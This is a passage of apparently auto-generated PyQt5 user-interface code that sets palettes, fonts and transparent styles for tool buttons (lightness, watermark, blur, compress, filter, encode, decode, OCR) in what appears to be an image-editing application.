QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_lightness.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_lightness.setFont(font) self.btn_lightness.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_lightness.setObjectName("btn_lightness") self.verticalLayout_2.addWidget(self.btn_lightness) self.btn_watermark = QtWidgets.QToolButton(self.frame_5) self.btn_watermark.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_watermark.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_watermark.setFont(font) self.btn_watermark.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_watermark.setObjectName("btn_watermark") self.verticalLayout_2.addWidget(self.btn_watermark, 0, QtCore.Qt.AlignLeft) self.btn_blur = QtWidgets.QToolButton(self.frame_5) self.btn_blur.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_blur.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_blur.setFont(font) self.btn_blur.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_blur.setObjectName("btn_blur") self.verticalLayout_2.addWidget(self.btn_blur) self.btn_compress = QtWidgets.QToolButton(self.frame_5) self.btn_compress.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_compress.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_compress.setFont(font) self.btn_compress.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_compress.setObjectName("btn_compress") self.verticalLayout_2.addWidget(self.btn_compress) self.btn_filter = QtWidgets.QToolButton(self.frame_5) self.btn_filter.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_filter.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_filter.setFont(font) self.btn_filter.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_filter.setObjectName("btn_filter") self.verticalLayout_2.addWidget(self.btn_filter) self.btn_encode = QtWidgets.QToolButton(self.frame_5) self.btn_encode.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_encode.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_encode.setFont(font) self.btn_encode.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_encode.setObjectName("btn_encode") self.verticalLayout_2.addWidget(self.btn_encode) self.btn_decode = QtWidgets.QToolButton(self.frame_5) self.btn_decode.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.btn_decode.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.btn_decode.setFont(font) self.btn_decode.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.btn_decode.setObjectName("btn_decode") self.verticalLayout_2.addWidget(self.btn_decode) self.btn_ocr = QtWidgets.QToolButton(self.frame_5) self.btn_ocr.setMinimumSize(QtCore.QSize(50, 0)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) 